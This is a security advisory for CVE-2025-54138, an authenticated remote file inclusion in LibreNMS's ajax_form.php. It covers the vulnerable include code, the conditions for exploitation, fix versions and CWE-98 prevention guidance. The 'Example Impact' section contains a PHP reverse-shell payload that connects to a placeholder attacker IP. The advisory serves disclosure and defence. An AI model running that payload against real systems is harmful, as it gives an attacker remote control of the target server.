GHSA-gq96-8w38-hhj2 CVE-2025-54138
LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
High
Packagist
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 1.24%
- Chance of exploitation in the next 30 days. Higher than 69.25% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
- Fix
25.7.0- Upgrade librenms/librenms to this version or later
Description
LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.
The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.
This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.
Conditions for Exploitation
- Attacker must be authenticated
- Attacker must control a file at
includes/html/forms/{type}.inc.php(or symlink)
Example Impact (RCE)
If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812
Recommended Fix
- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
- Avoid passing raw POST input into
include_once. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| librenms/librenms | < 25.7.0 |
25.7.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
librenms/librenms Packagist → 25.7.0
- composer
composer require librenms/librenms:^25.7.0
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be rem
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
- Operation: Set allow_url_fopen to false, which limits the ability to include files from remote locations.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7w8c-qgxg-m7jx LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates | High | Also affects librenms/librenms |
| GHSA-7gww-x7fh-jf9j LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page | Critical | Also affects librenms/librenms |
| GHSA-7cj5-v4pp-v632 LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users | Medium | Also affects librenms/librenms |
| GHSA-jf24-8g2h-2wg7 LibreNMS Vulnerable to Remote Code Execution via AboutController | High | Also affects librenms/librenms |
| GHSA-c9fv-cgmm-2wg7 LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module | High | Also affects librenms/librenms |
| GHSA-jmqm-f8q4-v7wx LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment | Medium | Also affects librenms/librenms |
| GHSA-5gm9-622f-qcg5 LibreNMS: Cross-Site Scripting in ShowConfigController | Medium | Also affects librenms/librenms |
| GHSA-pr3g-phhr-h8fh LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write | High | Also affects librenms/librenms |
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